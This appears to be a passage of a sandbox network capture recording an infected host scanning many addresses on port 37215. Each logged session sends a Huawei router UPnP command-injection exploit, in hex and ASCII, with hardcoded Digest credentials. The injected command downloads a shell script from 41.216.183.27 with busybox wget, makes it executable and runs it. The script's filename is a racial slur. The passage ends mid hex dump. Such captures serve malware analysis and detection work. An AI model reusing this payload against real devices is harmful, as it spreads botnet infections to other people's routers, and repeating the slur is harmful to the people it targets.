73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	54976	94.120.21.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.805716038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	44362	94.120.37.101	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.805983067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	59528	94.123.32.10	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.806226969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	57210	94.123.95.120	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.807010889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	44058	94.120.100.20	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.810909986 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	53394	94.120.21.18	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.811316013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	39122	94.123.34.123	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.811629057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	52360	94.121.144.193	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.814270020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	38560	94.120.11.86	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.814537048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 